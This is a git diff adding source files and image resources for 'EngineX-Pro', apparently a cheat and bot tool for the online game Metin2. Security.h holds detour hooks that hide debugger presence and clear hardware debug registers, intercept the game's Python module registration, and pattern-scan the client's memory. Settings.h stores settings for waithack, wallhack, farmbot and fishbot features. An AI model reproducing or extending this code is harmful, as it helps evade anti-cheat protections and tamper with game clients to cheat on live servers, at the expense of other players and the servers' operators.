b/EngineX-Pro/Resources/Skill/shaman_d_3.png new file mode 100644 index 0000000..13aa987 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_d_3.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_d_4.png b/EngineX-Pro/Resources/Skill/shaman_d_4.png new file mode 100644 index 0000000..56035c3 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_d_4.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_d_5.png b/EngineX-Pro/Resources/Skill/shaman_d_5.png new file mode 100644 index 0000000..2810a20 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_d_5.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_h_0.png b/EngineX-Pro/Resources/Skill/shaman_h_0.png new file mode 100644 index 0000000..a1965d3 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_h_0.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_h_1.png b/EngineX-Pro/Resources/Skill/shaman_h_1.png new file mode 100644 index 0000000..2c1552d Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_h_1.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_h_2.png b/EngineX-Pro/Resources/Skill/shaman_h_2.png new file mode 100644 index 0000000..3c33e1f Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_h_2.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_h_3.png b/EngineX-Pro/Resources/Skill/shaman_h_3.png new file mode 100644 index 0000000..9405595 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_h_3.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_h_4.png b/EngineX-Pro/Resources/Skill/shaman_h_4.png new file mode 100644 index 0000000..46b3c73 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_h_4.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_h_5.png b/EngineX-Pro/Resources/Skill/shaman_h_5.png new file mode 100644 index 0000000..8ef41af Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_h_5.png differ diff --git a/EngineX-Pro/Resources/Skill/skill-none.png b/EngineX-Pro/Resources/Skill/skill-none.png new file mode 100644 index 0000000..f181d2e Binary files /dev/null and b/EngineX-Pro/Resources/Skill/skill-none.png differ diff --git a/EngineX-Pro/Resources/Skill/skill-off.png b/EngineX-Pro/Resources/Skill/skill-off.png new file mode 100644 index 0000000..5d8b87d Binary files /dev/null and b/EngineX-Pro/Resources/Skill/skill-off.png differ diff --git a/EngineX-Pro/Resources/Skill/skill-on.png b/EngineX-Pro/Resources/Skill/skill-on.png new file mode 100644 index 0000000..fb18eb5 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/skill-on.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_b_0.png b/EngineX-Pro/Resources/Skill/sura_b_0.png new file mode 100644 index 0000000..1ae926b Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_b_0.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_b_1.png b/EngineX-Pro/Resources/Skill/sura_b_1.png new file mode 100644 index 0000000..9fdb6c1 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_b_1.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_b_2.png b/EngineX-Pro/Resources/Skill/sura_b_2.png new file mode 100644 index 0000000..9a1ae28 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_b_2.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_b_3.png b/EngineX-Pro/Resources/Skill/sura_b_3.png new file mode 100644 index 0000000..b254303 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_b_3.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_b_4.png b/EngineX-Pro/Resources/Skill/sura_b_4.png new file mode 100644 index 0000000..773bb7a Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_b_4.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_b_5.png b/EngineX-Pro/Resources/Skill/sura_b_5.png new file mode 100644 index 0000000..233ba04 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_b_5.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_w_0.png b/EngineX-Pro/Resources/Skill/sura_w_0.png new file mode 100644 index 0000000..d40091d Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_w_0.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_w_1.png b/EngineX-Pro/Resources/Skill/sura_w_1.png new file mode 100644 index 0000000..2a7a3ae Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_w_1.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_w_2.png b/EngineX-Pro/Resources/Skill/sura_w_2.png new file mode 100644 index 0000000..32a5bda Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_w_2.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_w_3.png b/EngineX-Pro/Resources/Skill/sura_w_3.png new file mode 100644 index 0000000..f1fe788 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_w_3.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_w_4.png b/EngineX-Pro/Resources/Skill/sura_w_4.png new file mode 100644 index 0000000..9846322 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_w_4.png differ diff --git a/EngineX-Pro/Resources/Skill/sura_w_5.png b/EngineX-Pro/Resources/Skill/sura_w_5.png new file mode 100644 index 0000000..76b3c31 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/sura_w_5.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_b_0.png b/EngineX-Pro/Resources/Skill/warrior_b_0.png new file mode 100644 index 0000000..160bf30 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_b_0.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_b_1.png b/EngineX-Pro/Resources/Skill/warrior_b_1.png new file mode 100644 index 0000000..d156fd7 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_b_1.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_b_2.png b/EngineX-Pro/Resources/Skill/warrior_b_2.png new file mode 100644 index 0000000..56afa4d Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_b_2.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_b_3.png b/EngineX-Pro/Resources/Skill/warrior_b_3.png new file mode 100644 index 0000000..15a4b2c Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_b_3.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_b_4.png b/EngineX-Pro/Resources/Skill/warrior_b_4.png new file mode 100644 index 0000000..f257e8d Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_b_4.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_b_5.png b/EngineX-Pro/Resources/Skill/warrior_b_5.png new file mode 100644 index 0000000..f181d2e Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_b_5.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_m_0.png b/EngineX-Pro/Resources/Skill/warrior_m_0.png new file mode 100644 index 0000000..a6b35ac Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_m_0.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_m_1.png b/EngineX-Pro/Resources/Skill/warrior_m_1.png new file mode 100644 index 0000000..2097a7f Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_m_1.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_m_2.png b/EngineX-Pro/Resources/Skill/warrior_m_2.png new file mode 100644 index 0000000..30e3a8f Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_m_2.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_m_3.png b/EngineX-Pro/Resources/Skill/warrior_m_3.png new file mode 100644 index 0000000..d540ce3 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_m_3.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_m_4.png b/EngineX-Pro/Resources/Skill/warrior_m_4.png new file mode 100644 index 0000000..5b85fe8 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_m_4.png differ diff --git a/EngineX-Pro/Resources/Skill/warrior_m_5.png b/EngineX-Pro/Resources/Skill/warrior_m_5.png new file mode 100644 index 0000000..f181d2e Binary files /dev/null and b/EngineX-Pro/Resources/Skill/warrior_m_5.png differ diff --git a/EngineX-Pro/Resources/Visuals.png b/EngineX-Pro/Resources/Visuals.png new file mode 100644 index 0000000..729d5f8 Binary files /dev/null and b/EngineX-Pro/Resources/Visuals.png differ diff --git a/EngineX-Pro/Resources/autologin_off.png b/EngineX-Pro/Resources/autologin_off.png new file mode 100644 index 0000000..3feaa32 Binary files /dev/null and b/EngineX-Pro/Resources/autologin_off.png differ diff --git a/EngineX-Pro/Resources/autologin_on.png b/EngineX-Pro/Resources/autologin_on.png new file mode 100644 index 0000000..7d05d38 Binary files /dev/null and b/EngineX-Pro/Resources/autologin_on.png differ diff --git a/EngineX-Pro/Resources/background2.png b/EngineX-Pro/Resources/background2.png new file mode 100644 index 0000000..fedabe2 Binary files /dev/null and b/EngineX-Pro/Resources/background2.png differ diff --git a/EngineX-Pro/Resources/channel.png b/EngineX-Pro/Resources/channel.png new file mode 100644 index 0000000..5dbb774 Binary files /dev/null and b/EngineX-Pro/Resources/channel.png differ diff --git a/EngineX-Pro/Resources/exit.png b/EngineX-Pro/Resources/exit.png new file mode 100644 index 0000000..f888346 Binary files /dev/null and b/EngineX-Pro/Resources/exit.png differ diff --git a/EngineX-Pro/Resources/fishbot_off.png b/EngineX-Pro/Resources/fishbot_off.png new file mode 100644 index 0000000..98512cd Binary files /dev/null and b/EngineX-Pro/Resources/fishbot_off.png differ diff --git a/EngineX-Pro/Resources/fishbot_on.png b/EngineX-Pro/Resources/fishbot_on.png new file mode 100644 index 0000000..81076f0 Binary files /dev/null and b/EngineX-Pro/Resources/fishbot_on.png differ diff --git a/EngineX-Pro/Resources/log_off.png b/EngineX-Pro/Resources/log_off.png new file mode 100644 index 0000000..eb8c359 Binary files /dev/null and b/EngineX-Pro/Resources/log_off.png differ diff --git a/EngineX-Pro/Resources/log_on.png b/EngineX-Pro/Resources/log_on.png new file mode 100644 index 0000000..eb8c359 Binary files /dev/null and b/EngineX-Pro/Resources/log_on.png differ diff --git a/EngineX-Pro/Resources/logo.png b/EngineX-Pro/Resources/logo.png new file mode 100644 index 0000000..4e76afb Binary files /dev/null and b/EngineX-Pro/Resources/logo.png differ diff --git a/EngineX-Pro/Resources/mh_off.png b/EngineX-Pro/Resources/mh_off.png new file mode 100644 index 0000000..fb78ed5 Binary files /dev/null and b/EngineX-Pro/Resources/mh_off.png differ diff --git a/EngineX-Pro/Resources/mh_on.png b/EngineX-Pro/Resources/mh_on.png new file mode 100644 index 0000000..312e856 Binary files /dev/null and b/EngineX-Pro/Resources/mh_on.png differ diff --git a/EngineX-Pro/Resources/radar_off.png b/EngineX-Pro/Resources/radar_off.png new file mode 100644 index 0000000..55a3143 Binary files /dev/null and b/EngineX-Pro/Resources/radar_off.png differ diff --git a/EngineX-Pro/Resources/radar_on.png b/EngineX-Pro/Resources/radar_on.png new file mode 100644 index 0000000..61c30a0 Binary files /dev/null and b/EngineX-Pro/Resources/radar_on.png differ diff --git a/EngineX-Pro/Resources/splash.png b/EngineX-Pro/Resources/splash.png new file mode 100644 index 0000000..892ea46 Binary files /dev/null and b/EngineX-Pro/Resources/splash.png differ diff --git a/EngineX-Pro/Resources/window_off.png b/EngineX-Pro/Resources/window_off.png new file mode 100644 index 0000000..b56a4c5 Binary files /dev/null and b/EngineX-Pro/Resources/window_off.png differ diff --git a/EngineX-Pro/Resources/window_on.png b/EngineX-Pro/Resources/window_on.png new file mode 100644 index 0000000..c801a1c Binary files /dev/null and b/EngineX-Pro/Resources/window_on.png differ diff --git a/EngineX-Pro/Security.h b/EngineX-Pro/Security.h new file mode 100644 index 0000000..ed57c27 --- /dev/null +++ b/EngineX-Pro/Security.h @@ -0,0 +1,132 @@ +#pragma once +class Security +{ + typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 + } SECTION_INHERIT; +private: + //ntdll + typedef NTSTATUS(__stdcall* tNtAllocateVirtualMemory)(HANDLE ProcessHandle,PVOID* BaseAddress,ULONG_PTR ZeroBits,PSIZE_T RegionSize,ULONG AllocationType,ULONG Protect); + typedef NTSTATUS(__stdcall* tNtFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); + typedef NTSTATUS(__stdcall* tNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + typedef NTSTATUS(__stdcall* tNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); + static tNtAllocateVirtualMemory nNtAllocateVirtualMemory; + static tNtFreeVirtualMemory nNtFreeVirtualMemory; + static tNtMapViewOfSection nNtMapViewOfSection; + static tNtUnmapViewOfSection nNtUnmapViewOfSection; + //user32 + typedef LRESULT(__stdcall* tCallNextHookEx)(HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam); + static tCallNextHookEx nCallNextHookEx; + //kernel32 + typedef BOOL(__stdcall* tGetThreadContext)(HANDLE hThread, LPCONTEXT lpContext); + static tGetThreadContext nGetThreadContext; + //other + typedef HANDLE(__stdcall* tCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); + typedef HMODULE(__stdcall* tLoadLibraryA)(LPCSTR lpLibFileName); + typedef BOOL(__stdcall* tIsDebuggerPresent)(); + static tCreateThread nCreateThread; + static tLoadLibraryA nLoadLibraryA; + static tIsDebuggerPresent nIsDebuggerPresent; + + typedef PyObject* (__cdecl* tPy_InitModule4)(const char* name, PyMethodDef* methods, const char* doc, PyObject* self, int apiver); + static tPy_InitModule4 nPy_InitModule4; + +public: + + static HMODULE _stdcall NewLoadLibraryA(LPCTSTR lpLibFileName) { + return nLoadLibraryA(lpLibFileName); + } + + static PyObject* _cdecl NewPy_InitModule4(const char* name, PyMethodDef* methods, const char* doc, PyObject* self, int apiver) + { +#if defined(PYTHON_ENABLE) + string import_name = PythonExtension::CheckImportNames(name, methods); + if (import_name != "zipimport") + { + if (methods != NULL) + { + for (int i = 0;; i++) + { + if (methods[i].ml_name == NULL) + { + break; + } + string add = "" + import_name + methods[i].ml_name; + PythonExtension::ModulesMap.insert(map< string, DWORD>::value_type((add), (DWORD)methods[i].ml_meth)); + } + } + } +#endif + return nPy_InitModule4(name, methods, doc, self, apiver); + } + + static BOOL _stdcall NewGetThreadContext(HANDLE hThread, LPCONTEXT lpContext) + { + lpContext->Dr0 = 0; + lpContext->Dr1 = 0; + lpContext->Dr2 = 0; + lpContext->Dr3 = 0; + lpContext->Dr6 = 0; + lpContext->Dr7 = 0; + return nGetThreadContext(hThread, lpContext); + } + + static BOOL _stdcall NewIsDebuggerPresent() { + return false; + } + static void Initialize() + { + //HMODULE kernel32Library = GetModuleHandleA("kernel32.dll"); + //LPVOID GetThreadContextAddr = GetProcAddress(kernel32Library, "GetThreadContext"); + //nGetThreadContext = (tGetThreadContext)DetourFunction((PBYTE)GetThreadContextAddr, (PBYTE)NewGetThreadContext); + //LPVOID IsDebuggerPresentAddr = GetProcAddress(kernel32Library, "IsDebuggerPresent"); + //nIsDebuggerPresent = (tIsDebuggerPresent)DetourFunction((PBYTE)IsDebuggerPresentAddr, (PBYTE)NewIsDebuggerPresent); + /*HMODULE user32Library = LoadLibraryA("user32"); + HMODULE kernel32Library = LoadLibraryA("kernel32"); + + LPVOID LoadLibraryAddr = GetProcAddress(kernel32Library, "LoadLibraryA"); + nLoadLibraryA = (tLoadLibraryA)DetourFunction((PBYTE)LoadLibraryAddr, (PBYTE)NewLoadLibraryA); + VirtualProtect(LoadLibraryAddr, 5, PAGE_EXECUTE_READ, NULL); +#ifdef PYTHON_ENABLE + tPy_InitModule4 Py_InitModule4 = (tPy_InitModule4)GetProcAddress(LoadLibraryA("python27"), "Py_InitModule4"); + if (Py_InitModule4 == NULL) + { + Py_InitModule4 = (tPy_InitModule4)GetProcAddress(LoadLibraryA("python22"), "Py_InitModule4"); + } + if (Py_InitModule4 == NULL) + { + DWORD pInitModule4 = PatternScan::FindPattern("55 8B EC 81 EC ? ? ? ? A1 ? ? ? ? 33 C5 89 45 FC E8 ? ? ? ? 85 C0"); + Py_InitModule4 = (tPy_InitModule4)(pInitModule4); + } + if (Py_InitModule4 == NULL) + { + DWORD pInitModule4 = PatternScan::FindPattern("55 8B EC 81 EC ? ? ? ? A1 ? ? ? ? 33 C5 89 45 ? 8B 45 ? 53 8B 5D ? 89 85 ? ? ? ? 8B 45 ? 56 8B 75"); + Py_InitModule4 = (tPy_InitModule4)(pInitModule4); + } + if (Py_InitModule4 == NULL) + { + DWORD pInitModule4 = PatternScan::FindPattern("55 8B EC 83 E4 F8 81 EC ? ? ? ? A1 ? ? ? ? 33 C4 89 84 24 ? ? ? ? 8B 45 10 53 8B 5D 0C"); + Py_InitModule4 = (tPy_InitModule4)(pInitModule4); + } + if (Py_InitModule4 == NULL) + { + DWORD pInitModule4 = PatternScan::FindPattern("55 8B EC 81 EC ? ? ? ? A1 ? ? ? ? 33 C5 89 45 ? 8B 45 ? 8B 4D ? 53 8B 5D ? 57"); + Py_InitModule4 = (tPy_InitModule4)(pInitModule4); + } + nPy_InitModule4 = (tPy_InitModule4)DetourFunction((PBYTE)Py_InitModule4, (PBYTE)NewPy_InitModule4); +#endif + */ + } +}; + +Security::tNtAllocateVirtualMemory Security::nNtAllocateVirtualMemory = NULL; +Security::tNtFreeVirtualMemory Security::nNtFreeVirtualMemory = NULL; +Security::tNtMapViewOfSection Security::nNtMapViewOfSection = NULL; +Security::tNtUnmapViewOfSection Security::nNtUnmapViewOfSection = NULL; +Security::tCallNextHookEx Security::nCallNextHookEx = NULL; +Security::tGetThreadContext Security::nGetThreadContext = NULL; +Security::tCreateThread Security::nCreateThread = NULL; +Security::tLoadLibraryA Security::nLoadLibraryA = NULL; +Security::tIsDebuggerPresent Security::nIsDebuggerPresent = NULL; +Security::tPy_InitModule4 Security::nPy_InitModule4 = NULL; \ No newline at end of file diff --git a/EngineX-Pro/Settings.h b/EngineX-Pro/Settings.h new file mode 100644 index 0000000..9366158 --- /dev/null +++ b/EngineX-Pro/Settings.h @@ -0,0 +1,2025 @@ +#pragma once + +namespace ns { + NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(D3DVECTOR, x, y, z) + NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(ImVec4, x, y, z, w) +} + +class Settings +{ +public: + static void LoadItemFilter(string name, string folderPath) + { + string buffer = ""; + FileExtension::Read(folderPath + name + ".ic", buffer); + if (buffer == "") + { + return; + } + nlohmann::json j = nlohmann::json::parse(buffer); + if (j.find("ITEM_FILTER") != j.end()) + { + j.at("ITEM_FILTER").get_to(ITEM_PICKUP_SELECTED_LIST); + } + } + + static void SaveItemFilter(string name, string folderPath) + { + nlohmann::json j = nlohmann::json + { + {"ITEM_FILTER", ITEM_PICKUP_SELECTED_LIST}, + }; + string dump = j.dump(4); + if (FileExtension::CreateDirectoryPath(folderPath.c_str())) + { + string filePath = folderPath + name + ".ic"; + FileExtension::Write(filePath, dump); + } + } + + static void LoadFarm(string name, string folderPath) + { + string buffer = ""; + FileExtension::Read(folderPath + name + ".fc", buffer); + if (buffer == "") + { + return; + } + nlohmann::json j = nlohmann::json::parse(buffer); + std::vector vec_x, vec_y, vec_z; + if (j.find("FARMBOT_PATH.x") != j.end()) + { + j.at("FARMBOT_PATH.x").get_to(vec_x); + } + if (j.find("FARMBOT_PATH.y") != j.end()) + { + j.at("FARMBOT_PATH.y").get_to(vec_y); + } + if (j.find("FARMBOT_PATH.z") != j.end()) + { + j.at("FARMBOT_PATH.z").get_to(vec_z); + } + cordsMaps.clear(); + for (int i = 0; i < vec_x.size(); i++) + { + D3DVECTOR position{ vec_x[i], vec_y[i], vec_z[i]}; + cordsMaps.push_back(position); + } + } + + static void SaveFarm(string name, string folderPath) + { + nlohmann::json j = nlohmann::json{}; + std::vector vec_x, vec_y, vec_z; + for (int i = 0; i < cordsMaps.size(); i++) + { + vec_x.push_back(cordsMaps[i].x); + vec_y.push_back(cordsMaps[i].y); + vec_z.push_back(cordsMaps[i].z); + } + j["FARMBOT_PATH.x"] = vec_x; + j["FARMBOT_PATH.y"] = vec_y; + j["FARMBOT_PATH.z"] = vec_z; + string dump = j.dump(4); + if (FileExtension::CreateDirectoryPath(folderPath.c_str())) + { + string filePath = folderPath + name + ".fc"; + FileExtension::Write(filePath, dump); + } + } + + + static void LoadServerVariables() + { + switch (Globals::Server) + { + case ServerName::METINPL: + { + Settings::FISH_BAIT_LIST.insert(make_pair(make_pair(1, true), make_pair(27798, "Krewetki Słodkowodne"))); + Settings::FISH_KILL_FISH_LIST.insert(make_pair(make_pair(22, true), make_pair(27824, "Weżoglów"))); + Settings::FISH_KILL_FISH_LIST.insert(make_pair(make_pair(23, true), make_pair(27825, "Skaber"))); + Settings::FISH_KILL_FISH_LIST.insert(make_pair(make_pair(24, true), make_pair(27826, "Krab Królewski"))); + Settings::FISH_KILL_FISH_LIST.insert(make_pair(make_pair(25, true), make_pair(27827, "Rak Niebiański"))); + Settings::FISH_DROP_LIST.insert(make_pair(make_pair(42, true), make_pair(27854, "Martwy Weżoglów"))); + Settings::FISH_DROP_LIST.insert(make_pair(make_pair(43, true), make_pair(27855, "Martwy Skaber"))); + Settings::FISH_DROP_LIST.insert(make_pair(make_pair(44, true), make_pair(27856, "Martwy Krab Królewski"))); + Settings::FISH_DROP_LIST.insert(make_pair(make_pair(45, true), make_pair(27857, "Martwy Rak Niebiański"))); + Settings::INVENTORY_PAGE_COUNT = 2; + break; + } + case ServerName::KEVRA: + { + Settings::FISH_BAIT_LIST.insert(make_pair(make_pair(1, true), make_pair(27900, "Skorupiak"))); + Settings::FISH_DROP_LIST = {}; + Settings::FISH_KILL_FISH_LIST = {}; + Settings::FISH_SELL_LIST = + { + { make_pair(1, true), make_pair(27803, "Karaś")}, + { make_pair(2, true), make_pair(27804, "Ryba Mandaryna")}, + { make_pair(3, true), make_pair(27823, "Złoty Karaś")}, + }; + break; + } + } + } + + static void Load(string name, string folderPath) + { + string buffer = ""; + FileExtension::Read(folderPath + name + ".mc", buffer); + + if (buffer == "") + { + return; + } + nlohmann::json j = nlohmann::json::parse(buffer); + /*j.parse(buffer);*/ + if (j.find("PROTECTION_DETECT_PLAYER_WHITE_LIST") != j.end()) + { + j.at("PROTECTION_DETECT_PLAYER_WHITE_LIST").get_to(PROTECTION_DETECT_PLAYER_WHITE_LIST); + } + if (j.find("FISH_KILL_FISH_LIST") != j.end()) + { + j.at("FISH_KILL_FISH_LIST").get_to(FISH_KILL_FISH_LIST); + } + if (j.find("FISH_BAIT_LIST") != j.end()) + { + j.at("FISH_BAIT_LIST").get_to(FISH_BAIT_LIST); + } + if (j.find("FISH_DROP_LIST") != j.end()) + { + j.at("FISH_DROP_LIST").get_to(FISH_DROP_LIST); + } + if (j.find("FISH_SELL_LIST") != j.end()) + { + j.at("FISH_SELL_LIST").get_to(FISH_SELL_LIST); + } + if (j.find("ITEM_PICKUP_SELECTED_LIST") != j.end()) + { + j.at("ITEM_PICKUP_SELECTED_LIST").get_to(ITEM_PICKUP_SELECTED_LIST); + } + if (j.find("MAIN_STONE_DETECT_ENABLE") != j.end()) + { + j.at("MAIN_STONE_DETECT_ENABLE").get_to(MAIN_STONE_DETECT_ENABLE); + } + if (j.find("MAIN_MOBBER_ENABLE") != j.end()) + { + j.at("MAIN_MOBBER_ENABLE").get_to(MAIN_MOBBER_ENABLE); + } + if (j.find("MAIN_ATTACK_ENABLE") != j.end()) + { + j.at("MAIN_ATTACK_ENABLE").get_to(MAIN_ATTACK_ENABLE); + } + if (j.find("MAIN_ROTATION_ENABLE") != j.end()) + { + j.at("MAIN_ROTATION_ENABLE").get_to(MAIN_ROTATION_ENABLE); + } + if (j.find("MAIN_ROTATION_SPEED_VALUE") != j.end()) + { + j.at("MAIN_ROTATION_SPEED_VALUE").get_to(MAIN_ROTATION_SPEED_VALUE); + } + if (j.find("MAIN_SKILL_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_ENABLE").get_to(MAIN_SKILL_ENABLE); + } + if (j.find("MAIN_SKILL_1_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_1_ENABLE").get_to(MAIN_SKILL_1_ENABLE); + } + if (j.find("MAIN_SKILL_2_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_2_ENABLE").get_to(MAIN_SKILL_2_ENABLE); + } + if (j.find("MAIN_SKILL_3_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_3_ENABLE").get_to(MAIN_SKILL_3_ENABLE); + } + if (j.find("MAIN_SKILL_4_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_4_ENABLE").get_to(MAIN_SKILL_4_ENABLE); + } + if (j.find("MAIN_SKILL_5_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_5_ENABLE").get_to(MAIN_SKILL_5_ENABLE); + } + if (j.find("MAIN_SKILL_6_ENABLE") != j.end()) + { + j.at("MAIN_SKILL_6_ENABLE").get_to(MAIN_SKILL_6_ENABLE); + } + if (j.find("MAIN_NOK_ENABLE") != j.end()) + { + j.at("MAIN_NOK_ENABLE").get_to(MAIN_NOK_ENABLE); + } + if (j.find("MAIN_NOP_ENABLE") != j.end()) + { + j.at("MAIN_NOP_ENABLE").get_to(MAIN_NOP_ENABLE); + } + if (j.find("MAIN_WALL_MOB_ENABLE") != j.end()) + { + j.at("MAIN_WALL_MOB_ENABLE").get_to(MAIN_WALL_MOB_ENABLE); + } + if (j.find("MAIN_WALL_OBJECT_ENABLE") != j.end()) + { + j.at("MAIN_WALL_OBJECT_ENABLE").get_to(MAIN_WALL_OBJECT_ENABLE); + } + if (j.find("MAIN_WALL_TERRAIN_ENABLE") != j.end()) + { + j.at("MAIN_WALL_TERRAIN_ENABLE").get_to(MAIN_WALL_TERRAIN_ENABLE); + } + if (j.find("MAIN_WH_ENABLE") != j.end()) + { + j.at("MAIN_WH_ENABLE").get_to(MAIN_WH_ENABLE); + } + if (j.find("MAIN_WH_DISTANCE_VALUE") != j.end()) + { + j.at("MAIN_WH_DISTANCE_VALUE").get_to(MAIN_WH_DISTANCE_VALUE); + } + if (j.find("MAIN_WH_DISTANCE_STEP") != j.end()) + { + j.at("MAIN_WH_DISTANCE_STEP").get_to(MAIN_WH_DISTANCE_STEP); + } + if (j.find("MAIN_WH_TYPE") != j.end()) + { + j.at("MAIN_WH_TYPE").get_to(MAIN_WH_WEAPON_TYPE); + } + if (j.find("MAIN_WAITHACK_RANGE_ENABLE") != j.end()) + { + j.at("MAIN_WAITHACK_RANGE_ENABLE").get_to(MAIN_WAITHACK_RANGE_ENABLE); + } + if (j.find("MAIN_WH_SKILL_COOLDOWN_TIME") != j.end()) + { + j.at("MAIN_WH_SKILL_COOLDOWN_TIME").get_to(MAIN_WH_SKILL_COOLDOWN_TIME); + } + if (j.find("MAIN_WH_TIME") != j.end()) + { + j.at("MAIN_WH_TIME").get_to(MAIN_WH_TIME); + } + if (j.find("MAIN_WH_ATTACK_TYPE") != j.end()) + { + j.at("MAIN_WH_ATTACK_TYPE").get_to(MAIN_WH_ATTACK_TYPE); + } + if (j.find("MAIN_WH_RENDER_ENABLE") != j.end()) + { + j.at("MAIN_WH_RENDER_ENABLE").get_to(MAIN_WH_RENDER_ENABLE); + } + if (j.find("MAIN_WH_SKILL_VALUE") != j.end()) + { + j.at("MAIN_WH_SKILL_VALUE").get_to(MAIN_WH_SKILL_VALUE); + } + if (j.find("MAIN_WH_MONSTER") != j.end()) + { + j.at("MAIN_WH_MONSTER").get_to(MAIN_WH_MONSTER); + } + if (j.find("MAIN_WH_METIN") != j.end()) + { + j.at("MAIN_WH_METIN").get_to(MAIN_WH_METIN); + } + if (j.find("MAIN_WH_BOSS") != j.end()) + { + j.at("MAIN_WH_BOSS").get_to(MAIN_WH_BOSS); + } + if (j.find("MAIN_WH_PLAYER") != j.end()) + { + j.at("MAIN_WH_PLAYER").get_to(MAIN_WH_PLAYER); + } + if (j.find("MAIN_MOB_DETECT_ENABLE") != j.end()) + { + j.at("MAIN_MOB_DETECT_ENABLE").get_to(MAIN_MOB_DETECT_ENABLE); + } + if (j.find("MAIN_POTION_ENABLE") != j.end()) + { + j.at("MAIN_POTION_ENABLE").get_to(MAIN_POTION_ENABLE); + } + if (j.find("MAIN_RED_POTION_ENABLE") != j.end()) + { + j.at("MAIN_RED_POTION_ENABLE").get_to(MAIN_RED_POTION_ENABLE); + } + if (j.find("MAIN_RED_POTION_PERCENTAGE_VALUE") != j.end()) + { + j.at("MAIN_RED_POTION_PERCENTAGE_VALUE").get_to(MAIN_RED_POTION_PERCENTAGE_VALUE); + } + if (j.find("MAIN_RED_POTION_SPEED_VALUE") != j.end()) + { + j.at("MAIN_RED_POTION_SPEED_VALUE").get_to(MAIN_RED_POTION_SPEED_VALUE); + } + if (j.find("MAIN_BLUE_POTION_ENABLE") != j.end()) + { + j.at("MAIN_BLUE_POTION_ENABLE").get_to(MAIN_BLUE_POTION_ENABLE); + } + if (j.find("MAIN_BLUE_POTION_PERCENTAGE_VALUE") != j.end()) + { + 